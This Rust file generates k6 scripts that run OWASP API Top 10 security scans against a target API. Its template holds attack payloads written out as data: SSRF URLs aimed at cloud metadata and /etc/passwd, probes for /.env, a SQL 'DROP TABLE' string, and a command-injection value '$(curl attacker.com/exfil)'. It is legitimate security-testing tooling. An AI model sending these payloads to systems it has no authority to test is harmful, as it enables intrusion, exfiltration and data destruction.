mockforge_bench/owasp_api/
generator.rs

1//! OWASP API Security k6 Script Generator
2//!
3//! This module generates k6 JavaScript code for running OWASP API
4//! security tests against target endpoints.
5
6use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::spec_parser::SpecParser;
11use handlebars::Handlebars;
12use serde_json::{json, Value};
13use std::collections::HashMap;
14
15/// Generator for OWASP API security test scripts
16pub struct OwaspApiGenerator {
17    /// OWASP API configuration
18    config: OwaspApiConfig,
19    /// Target base URL
20    target_url: String,
21    /// Parsed OpenAPI operations
22    operations: Vec<OperationInfo>,
23}
24
25/// Information about an API operation
26#[derive(Debug, Clone)]
27pub struct OperationInfo {
28    /// HTTP method
29    pub method: String,
30    /// Path template (e.g., /users/{id})
31    pub path: String,
32    /// Operation ID
33    pub operation_id: Option<String>,
34    /// Path parameters
35    pub path_params: Vec<PathParam>,
36    /// Query parameters
37    pub query_params: Vec<QueryParam>,
38    /// Whether operation has request body
39    pub has_body: bool,
40    /// Content type
41    pub content_type: Option<String>,
42    /// Security requirements (if any)
43    pub requires_auth: bool,
44    /// Tags
45    pub tags: Vec<String>,
46}
47
48/// Path parameter info
49#[derive(Debug, Clone)]
50pub struct PathParam {
51    pub name: String,
52    pub param_type: String,
53    pub example: Option<String>,
54}
55
56/// Query parameter info
57#[derive(Debug, Clone)]
58pub struct QueryParam {
59    pub name: String,
60    pub param_type: String,
61    pub required: bool,
62}
63
64impl OwaspApiGenerator {
65    /// Create a new OWASP API generator
66    pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
67        let operations = Self::extract_operations(parser);
68        Self {
69            config,
70            target_url,
71            operations,
72        }
73    }
74
75    /// Extract operations from the spec parser
76    fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
77        parser
78            .get_operations()
79            .into_iter()
80            .map(|op| {
81                // Extract path parameters from the path
82                let path_params: Vec<PathParam> = op
83                    .path
84                    .split('/')
85                    .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
86                    .map(|segment| {
87                        let name = segment.trim_start_matches('{').trim_end_matches('}');
88                        PathParam {
89                            name: name.to_string(),
90                            param_type: "string".to_string(),
91                            example: None,
92                        }
93                    })
94                    .collect();
95
96                OperationInfo {
97                    method: op.method.to_uppercase(),
98                    path: op.path.clone(),
99                    operation_id: op.operation_id.clone(),
100                    path_params,
101                    query_params: Vec::new(),
102                    has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
103                    content_type: Some("application/json".to_string()),
104                    requires_auth: true, // Assume auth required by default
105                    tags: op.operation.tags.clone(),
106                }
107            })
108            .collect()
109    }
110
111    /// Generate the complete k6 security test script
112    pub fn generate(&self) -> Result<String> {
113        let mut handlebars = Handlebars::new();
114
115        // Register custom helpers
116        handlebars.register_helper("contains", Box::new(contains_helper));
117        handlebars.register_helper("eq", Box::new(eq_helper));
118
119        let template = self.get_script_template();
120        let data = self.build_template_data()?;
121
122        handlebars
123            .render_template(&template, &data)
124            .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
125    }
126
127    /// Build template data for rendering
128    fn build_template_data(&self) -> Result<Value> {
129        let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
130        let mut test_cases: Vec<Value> = Vec::new();
131
132        // Generate test cases for each category
133        for category in self.config.categories_to_test() {
134            let category_tests = self.generate_category_tests(category, &payload_generator)?;
135            test_cases.extend(category_tests);
136        }
137
138        // Pre-compute which categories are enabled for simple template conditionals
139        let categories = self.config.categories_to_test();
140        let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
141        let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
142        let test_api3 =
143            categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
144        let test_api4 =
145            categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
146        let test_api5 =
147            categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
148        let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
149        let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
150        let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
151        let test_api9 =
152            categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
153        let test_api10 =
154            categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
155
156        // Pre-compute operations with path parameters for BOLA testing
157        let ops_with_path_params: Vec<Value> = self
158            .operations
159            .iter()
160            .filter(|op| op.path.contains('{'))
161            .map(|op| {
162                json!({
163                    "method": op.method.to_lowercase(),
164                    "path": op.path,
165                })
166            })
167            .collect();
168
169        // Pre-compute GET operations for method override testing
170        let get_operations: Vec<Value> = self
171            .operations
172            .iter()
173            .filter(|op| op.method.to_lowercase() == "get")
174            .map(|op| {
175                json!({
176                    "method": op.method.to_lowercase(),
177                    "path": op.path,
178                })
179            })
180            .collect();
181
182        Ok(json!({
183            "base_url": self.target_url,
184            "auth_header_name": self.config.auth_header,
185            "valid_auth_token": self.config.valid_auth_token,
186            "concurrency": self.config.concurrency,
187            "timeout_ms": self.config.timeout_ms,
188            "report_path": self.config.report_path.to_string_lossy(),
189            "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
190            "test_cases": test_cases,
191            "operations": self.operations.iter().map(|op| json!({
192                "method": op.method.to_lowercase(),
193                "path": op.path,
194                "operation_id": op.operation_id,
195                "has_body": op.has_body,
196                "requires_auth": op.requires_auth,
197                "has_path_params": op.path.contains('{'),
198            })).collect::<Vec<_>>(),
199            "ops_with_path_params": ops_with_path_params,
200            "get_operations": get_operations,
201            "verbose": self.config.verbose,
202            // Category flags for simple conditionals
203            "test_api1": test_api1,
204            "test_api2": test_api2,
205            "test_api3": test_api3,
206            "test_api4": test_api4,
207            "test_api5": test_api5,
208            "test_api6": test_api6,
209            "test_api7": test_api7,
210            "test_api8": test_api8,
211            "test_api9": test_api9,
212            "test_api10": test_api10,
213        }))
214    }
215
216    /// Generate test cases for a specific category
217    fn generate_category_tests(
218        &self,
219        category: OwaspCategory,
220        payload_generator: &OwaspPayloadGenerator,
221    ) -> Result<Vec<Value>> {
222        let payloads = payload_generator.generate_for_category(category);
223        let mut tests = Vec::new();
224
225        for payload in payloads {
226            // Match payloads to appropriate operations
227            let applicable_ops = self.get_applicable_operations(&payload);
228
229            for op in applicable_ops {
230                tests.push(json!({
231                    "category": category.cli_name(),
232                    "category_name": category.short_name(),
233                    "description": payload.description,
234                    "method": op.method.to_lowercase(),
235                    "path": op.path,
236                    "payload": payload.value,
237                    "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
238                    "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
239                    "notes": payload.notes,
240                }));
241            }
242        }
243
244        Ok(tests)
245    }
246
247    /// Get operations applicable for a payload
248    fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
249        match payload.injection_point {
250            InjectionPoint::PathParam => {
251                // Only operations with path parameters
252                self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
253            }
254            InjectionPoint::Body => {
255                // Only operations that accept a body
256                self.operations.iter().filter(|op| op.has_body).collect()
257            }
258            InjectionPoint::Header | InjectionPoint::Omit => {
259                // All operations that require auth
260                self.operations.iter().filter(|op| op.requires_auth).collect()
261            }
262            InjectionPoint::QueryParam => {
263                // All operations (can add query params to any)
264                self.operations.iter().collect()
265            }
266            InjectionPoint::Modify => {
267                // Depends on payload - return all for now
268                self.operations.iter().collect()
269            }
270        }
271    }
272
273    /// Get the k6 script template
274    fn get_script_template(&self) -> String {
275        r#"// OWASP API Security Top 10 Test Script
276// Generated by MockForge - https://mockforge.dev
277// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
278
279import http from 'k6/http';
280import { check, sleep, group } from 'k6';
281import { Trend, Counter, Rate } from 'k6/metrics';
282
283// Configuration
284const BASE_URL = '{{base_url}}';
285const AUTH_HEADER = '{{auth_header_name}}';
286{{#if valid_auth_token}}
287const VALID_TOKEN = '{{valid_auth_token}}';
288{{else}}
289const VALID_TOKEN = null;
290{{/if}}
291const TIMEOUT = '{{timeout_ms}}ms';
292const VERBOSE = {{verbose}};
293
294// Custom metrics
295const findingsCounter = new Counter('owasp_findings');
296const testsRun = new Counter('owasp_tests_run');
297const vulnerableRate = new Rate('owasp_vulnerable_rate');
298const responseTime = new Trend('owasp_response_time');
299
300// Test options
301export const options = {
302    vus: {{concurrency}},
303    iterations: 1, // Run once per VU
304    thresholds: {
305        'owasp_findings': ['count<100'], // Alert if too many findings
306    },
307};
308
309// Findings storage
310const findings = [];
311
312// Helper: Log a finding
313function logFinding(category, endpoint, method, description, evidence) {
314    const finding = {
315        category,
316        endpoint,
317        method,
318        description,
319        evidence,
320        timestamp: new Date().toISOString(),
321    };
322    findings.push(finding);
323    findingsCounter.add(1);
324    vulnerableRate.add(1);
325
326    if (VERBOSE) {
327        console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
328    }
329}
330
331// Helper: Log test passed
332function logPass(category, endpoint, method) {
333    vulnerableRate.add(0);
334    if (VERBOSE) {
335        console.log(`[PASS] ${category} - ${method} ${endpoint}`);
336    }
337}
338
339// Helper: Make authenticated request
340function authRequest(method, url, body, additionalHeaders = {}) {
341    const headers = {
342        'Content-Type': 'application/json',
343        ...additionalHeaders,
344    };
345
346    if (VALID_TOKEN) {
347        headers[AUTH_HEADER] = VALID_TOKEN;
348    }
349
350    const params = {
351        headers,
352        timeout: TIMEOUT,
353    };
354
355    if (method === 'get' || method === 'head') {
356        return http[method](url, params);
357    } else {
358        return http[method](url, body ? JSON.stringify(body) : null, params);
359    }
360}
361
362// Helper: Make unauthenticated request
363function unauthRequest(method, url, body, additionalHeaders = {}) {
364    const headers = {
365        'Content-Type': 'application/json',
366        ...additionalHeaders,
367    };
368
369    const params = {
370        headers,
371        timeout: TIMEOUT,
372    };
373
374    if (method === 'get' || method === 'head') {
375        return http[method](url, params);
376    } else {
377        return http[method](url, body ? JSON.stringify(body) : null, params);
378    }
379}
380
381// API1: Broken Object Level Authorization (BOLA)
382function testBola() {
383    group('API1 - BOLA', function() {
384        console.log('[API1] Testing Broken Object Level Authorization...');
385
386        {{#each operations}}
387        {{#if has_path_params}}
388        // Test {{path}}
389        {
390            const originalPath = '{{path}}'.replace(/{[^}]+}/g, '1');
391            const modifiedPath = '{{path}}'.replace(/{[^}]+}/g, '2');
392
393            // Get baseline with ID=1
394            const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
395
396            // Try to access ID=2
397            const response = authRequest('{{method}}', BASE_URL + modifiedPath, null);
398            testsRun.add(1);
399            responseTime.add(response.timings.duration);
400
401            if (response.status >= 200 && response.status < 300) {
402                // Check if we got different data
403                if (response.body !== baseline.body && response.body.length > 0) {
404                    logFinding('api1', '{{path}}', '{{method}}',
405                        'ID manipulation accepted - accessed different user data',
406                        { status: response.status, bodyLength: response.body.length });
407                } else {
408                    logPass('api1', '{{path}}', '{{method}}');
409                }
410            } else {
411                logPass('api1', '{{path}}', '{{method}}');
412            }
413        }
414        {{/if}}
415        {{/each}}
416    });
417}
418
419// API2: Broken Authentication
420function testBrokenAuth() {
421    group('API2 - Broken Authentication', function() {
422        console.log('[API2] Testing Broken Authentication...');
423
424        {{#each operations}}
425        {{#if requires_auth}}
426        // Test {{path}} without auth
427        {
428            const response = unauthRequest('{{method}}', BASE_URL + '{{path}}', null);
429            testsRun.add(1);
430            responseTime.add(response.timings.duration);
431
432            if (response.status >= 200 && response.status < 300) {
433                logFinding('api2', '{{path}}', '{{method}}',
434                    'Endpoint accessible without authentication',
435                    { status: response.status });
436            } else {
437                logPass('api2', '{{path}}', '{{method}}');
438            }
439        }
440
441        // Test {{path}} with empty token
442        {
443            const response = http.{{method}}(BASE_URL + '{{path}}', null, {
444                headers: { [AUTH_HEADER]: 'Bearer ' },
445                timeout: TIMEOUT,
446            });
447            testsRun.add(1);
448
449            if (response.status >= 200 && response.status < 300) {
450                logFinding('api2', '{{path}}', '{{method}}',
451                    'Endpoint accessible with empty Bearer token',
452                    { status: response.status });
453            }
454        }
455        {{/if}}
456        {{/each}}
457    });
458}
459
460// API3: Broken Object Property Level Authorization (Mass Assignment)
461function testMassAssignment() {
462    group('API3 - Mass Assignment', function() {
463        console.log('[API3] Testing Mass Assignment...');
464
465        const massAssignmentPayloads = [
466            { role: 'admin' },
467            { is_admin: true },
468            { isAdmin: true },
469            { permissions: ['admin', 'write', 'delete'] },
470            { verified: true },
471            { email_verified: true },
472            { balance: 999999 },
473        ];
474
475        {{#each operations}}
476        {{#if has_body}}
477        // Test {{path}}
478        {
479            massAssignmentPayloads.forEach(payload => {
480                const response = authRequest('{{method}}', BASE_URL + '{{path}}', payload);
481                testsRun.add(1);
482                responseTime.add(response.timings.duration);
483
484                if (response.status >= 200 && response.status < 300) {
485                    // Check if unauthorized field appears in response
486                    const responseBody = response.body.toLowerCase();
487                    const payloadKey = Object.keys(payload)[0].toLowerCase();
488
489                    if (responseBody.includes(payloadKey)) {
490                        logFinding('api3', '{{path}}', '{{method}}',
491                            `Mass assignment accepted: ${payloadKey}`,
492                            { status: response.status, payload });
493                    } else {
494                        logPass('api3', '{{path}}', '{{method}}');
495                    }
496                }
497            });
498        }
499        {{/if}}
500        {{/each}}
501    });
502}
503
504// API4: Unrestricted Resource Consumption
505function testResourceConsumption() {
506    group('API4 - Resource Consumption', function() {
507        console.log('[API4] Testing Resource Consumption...');
508
509        {{#each operations}}
510        // Test {{path}} with excessive limit
511        {
512            const url = BASE_URL + '{{path}}' + '?limit=100000&per_page=100000';
513            const response = authRequest('{{method}}', url, null);
514            testsRun.add(1);
515            responseTime.add(response.timings.duration);
516
517            // Check for rate limit headers
518            const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
519                                response.headers['x-ratelimit-limit'] ||
520                                response.headers['RateLimit-Limit'];
521
522            if (response.status === 429) {
523                logPass('api4', '{{path}}', '{{method}}');
524            } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
525                logFinding('api4', '{{path}}', '{{method}}',
526                    'No rate limiting detected',
527                    { status: response.status, hasRateLimitHeader: !!hasRateLimit });
528            } else {
529                logPass('api4', '{{path}}', '{{method}}');
530            }
531        }
532        {{/each}}
533    });
534}
535
536// API5: Broken Function Level Authorization
537function testFunctionAuth() {
538    group('API5 - Function Authorization', function() {
539        console.log('[API5] Testing Function Level Authorization...');
540
541        const adminPaths = [
542            '/admin',
543            '/admin/users',
544            '/admin/settings',
545            '/api/admin',
546            '/internal',
547            '/management',
548        ];
549
550        adminPaths.forEach(path => {
551            const response = authRequest('get', BASE_URL + path, null);
552            testsRun.add(1);
553            responseTime.add(response.timings.duration);
554
555            if (response.status >= 200 && response.status < 300) {
556                logFinding('api5', path, 'GET',
557                    'Admin endpoint accessible',
558                    { status: response.status });
559            } else if (response.status === 403 || response.status === 401) {
560                logPass('api5', path, 'GET');
561            }
562        });
563
564        // Also test changing methods on read-only endpoints
565        {{#each get_operations}}
566        {
567            const response = authRequest('delete', BASE_URL + '{{path}}', null);
568            testsRun.add(1);
569
570            if (response.status >= 200 && response.status < 300) {
571                logFinding('api5', '{{path}}', 'DELETE',
572                    'DELETE method allowed on read-only endpoint',
573                    { status: response.status });
574            }
575        }
576        {{/each}}
577    });
578}
579
580// API7: Server Side Request Forgery (SSRF)
581function testSsrf() {
582    group('API7 - SSRF', function() {
583        console.log('[API7] Testing Server Side Request Forgery...');
584
585        const ssrfPayloads = [
586            'http://localhost/',
587            'http://127.0.0.1/',
588            'http://169.254.169.254/latest/meta-data/',
589            'http://[::1]/',
590            'file:///etc/passwd',
591        ];
592
593        {{#each operations}}
594        {{#if has_body}}
595        // Test {{path}} with SSRF payloads
596        {
597            ssrfPayloads.forEach(payload => {
598                const body = {
599                    url: payload,
600                    webhook_url: payload,
601                    callback: payload,
602                    image_url: payload,
603                };
604
605                const response = authRequest('{{method}}', BASE_URL + '{{path}}', body);
606                testsRun.add(1);
607                responseTime.add(response.timings.duration);
608
609                if (response.status >= 200 && response.status < 300) {
610                    // Check for indicators of internal access
611                    const bodyLower = response.body.toLowerCase();
612                    const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
613
614                    if (internalIndicators.some(ind => bodyLower.includes(ind))) {
615                        logFinding('api7', '{{path}}', '{{method}}',
616                            `SSRF vulnerability - internal data exposed with payload: ${payload}`,
617                            { status: response.status, payload });
618                    }
619                }
620            });
621        }
622        {{/if}}
623        {{/each}}
624    });
625}
626
627// API8: Security Misconfiguration
628function testMisconfiguration() {
629    group('API8 - Security Misconfiguration', function() {
630        console.log('[API8] Testing Security Misconfiguration...');
631
632        {{#each operations}}
633        // Test {{path}} for security headers
634        {
635            const response = authRequest('{{method}}', BASE_URL + '{{path}}', null);
636            testsRun.add(1);
637            responseTime.add(response.timings.duration);
638
639            const missingHeaders = [];
640
641            if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
642                missingHeaders.push('X-Content-Type-Options');
643            }
644            if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
645                missingHeaders.push('X-Frame-Options');
646            }
647            if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
648                missingHeaders.push('Strict-Transport-Security');
649            }
650
651            // Check for overly permissive CORS
652            const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
653            if (acao === '*') {
654                logFinding('api8', '{{path}}', '{{method}}',
655                    'CORS allows all origins (Access-Control-Allow-Origin: *)',
656                    { status: response.status });
657            }
658
659            if (missingHeaders.length > 0) {
660                logFinding('api8', '{{path}}', '{{method}}',
661                    `Missing security headers: ${missingHeaders.join(', ')}`,
662                    { status: response.status, missingHeaders });
663            }
664        }
665        {{/each}}
666
667        // Test for verbose errors
668        {{#each operations}}
669        {{#if has_body}}
670        {
671            const malformedBody = '{"invalid": "json';
672            const response = http.{{method}}(BASE_URL + '{{path}}', malformedBody, {
673                headers: { 'Content-Type': 'application/json' },
674                timeout: TIMEOUT,
675            });
676            testsRun.add(1);
677
678            const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
679            const bodyLower = response.body.toLowerCase();
680
681            if (errorIndicators.some(ind => bodyLower.includes(ind))) {
682                logFinding('api8', '{{path}}', '{{method}}',
683                    'Verbose error messages exposed',
684                    { status: response.status });
685            }
686        }
687        {{/if}}
688        {{/each}}
689    });
690}
691
692// API9: Improper Inventory Management
693function testInventory() {
694    group('API9 - Inventory Management', function() {
695        console.log('[API9] Testing Improper Inventory Management...');
696
697        const discoveryPaths = [
698            '/swagger',
699            '/swagger-ui',
700            '/swagger.json',
701            '/api-docs',
702            '/openapi',
703            '/openapi.json',
704            '/graphql',
705            '/graphiql',
706            '/debug',
707            '/actuator',
708            '/actuator/health',
709            '/actuator/env',
710            '/metrics',
711            '/.env',
712            '/config',
713        ];
714
715        const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
716
717        discoveryPaths.forEach(path => {
718            const response = http.get(BASE_URL + path, { timeout: TIMEOUT });
719            testsRun.add(1);
720            responseTime.add(response.timings.duration);
721
722            if (response.status !== 404) {
723                logFinding('api9', path, 'GET',
724                    `Undocumented endpoint discovered (HTTP ${response.status})`,
725                    { status: response.status });
726            }
727        });
728
729        // Check for old API versions
730        apiVersions.forEach(version => {
731            const response = http.get(BASE_URL + '/' + version + '/', { timeout: TIMEOUT });
732            testsRun.add(1);
733
734            if (response.status !== 404) {
735                logFinding('api9', '/' + version + '/', 'GET',
736                    `API version endpoint exists (HTTP ${response.status})`,
737                    { status: response.status });
738            }
739        });
740    });
741}
742
743// API10: Unsafe Consumption of APIs
744function testUnsafeConsumption() {
745    group('API10 - Unsafe Consumption', function() {
746        console.log('[API10] Testing Unsafe Consumption...');
747
748        const injectionPayloads = [
749            { external_id: "'; DROP TABLE users;--" },
750            { integration_data: "$(curl attacker.com/exfil)" },
751            { template: "\{{7*7}}" },
752            { webhook_url: "http://127.0.0.1:8080/internal" },
753        ];
754
755        {{#each operations}}
756        {{#if has_body}}
757        // Test {{path}} with injection payloads
758        {
759            injectionPayloads.forEach(payload => {
760                const response = authRequest('{{method}}', BASE_URL + '{{path}}', payload);
761                testsRun.add(1);
762                responseTime.add(response.timings.duration);
763
764                // Check if payload was processed (e.g., SSTI returning 49)
765                if (response.body.includes('49')) {
766                    logFinding('api10', '{{path}}', '{{method}}',
767                        'Server-side template injection detected',
768                        { status: response.status, payload });
769                }
770            });
771        }
772        {{/if}}
773        {{/each}}
774    });
775}
776
777// Main test function
778export default function() {
779    console.log('Starting OWASP API Top 10 Security Scan...');
780    console.log('Target: ' + BASE_URL);
781    console.log('');
782
783    {{#if test_api1}}
784    testBola();
785    {{/if}}
786    {{#if test_api2}}
787    testBrokenAuth();
788    {{/if}}
789    {{#if test_api3}}
790    testMassAssignment();
791    {{/if}}
792    {{#if test_api4}}
793    testResourceConsumption();
794    {{/if}}
795    {{#if test_api5}}
796    testFunctionAuth();
797    {{/if}}
798    {{#if test_api7}}
799    testSsrf();
800    {{/if}}
801    {{#if test_api8}}
802    testMisconfiguration();
803    {{/if}}
804    {{#if test_api9}}
805    testInventory();
806    {{/if}}
807    {{#if test_api10}}
808    testUnsafeConsumption();
809    {{/if}}
810
811    sleep(0.1);
812}
813
814// Teardown: Output results
815export function teardown(data) {
816    console.log('');
817    console.log('='.repeat(50));
818    console.log('OWASP API Top 10 Scan Complete');
819    console.log('='.repeat(50));
820    console.log('Total findings: ' + findings.length);
821
822    if (findings.length > 0) {
823        console.log('');
824        console.log('Findings by category:');
825        const byCategory = {};
826        findings.forEach(f => {
827            byCategory[f.category] = (byCategory[f.category] || 0) + 1;
828        });
829        Object.entries(byCategory).forEach(([cat, count]) => {
830            console.log('  ' + cat + ': ' + count);
831        });
832    }
833
834    // Write JSON report
835    console.log('');
836    console.log('Report written to: {{report_path}}');
837}
838"#.to_string()
839    }
840}
841
842/// Handlebars helper to check if a string contains a substring
843fn contains_helper(
844    h: &handlebars::Helper,
845    _: &Handlebars,
846    _: &handlebars::Context,
847    _: &mut handlebars::RenderContext,
848    out: &mut dyn handlebars::Output,
849) -> handlebars::HelperResult {
850    let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
851    let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
852    let result = param1.contains(param2);
853    out.write(&result.to_string())?;
854    Ok(())
855}
856
857/// Handlebars helper to check equality
858fn eq_helper(
859    h: &handlebars::Helper,
860    _: &Handlebars,
861    _: &handlebars::Context,
862    _: &mut handlebars::RenderContext,
863    out: &mut dyn handlebars::Output,
864) -> handlebars::HelperResult {
865    let param1 = h.param(0).map(|v| v.value());
866    let param2 = h.param(1).map(|v| v.value());
867    let result = param1 == param2;
868    out.write(&result.to_string())?;
869    Ok(())
870}
871
872#[cfg(test)]
873mod tests {
874    use super::*;
875
876    #[test]
877    fn test_generator_creation() {
878        // This would need a mock SpecParser
879        // For now just test that the template is valid
880        let template = r#"
881        {{#each operations}}
882        // {{method}} {{path}}
883        {{/each}}
884        "#;
885
886        let handlebars = Handlebars::new();
887        let data = json!({
888            "operations": [
889                { "method": "GET", "path": "/users" },
890                { "method": "POST", "path": "/users" },
891            ]
892        });
893
894        let result = handlebars.render_template(template, &data);
895        assert!(result.is_ok());
896    }
897
898    #[test]
899    fn test_script_template_renders() {
900        let config = OwaspApiConfig::default()
901            .with_categories([OwaspCategory::Api1Bola])
902            .with_valid_auth_token("Bearer test123");
903
904        let template = r#"
905const AUTH = '{{auth_header_name}}';
906const TOKEN = '{{valid_auth_token}}';
907{{#each categories_tested}}
908// Testing: {{this}}
909{{/each}}
910        "#;
911
912        let handlebars = Handlebars::new();
913        let data = json!({
914            "auth_header_name": config.auth_header,
915            "valid_auth_token": config.valid_auth_token,
916            "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
917        });
918
919        let result = handlebars.render_template(template, &data).unwrap();
920        assert!(result.contains("Authorization"));
921        assert!(result.contains("Bearer test123"));
922        assert!(result.contains("api1"));
923    }
924}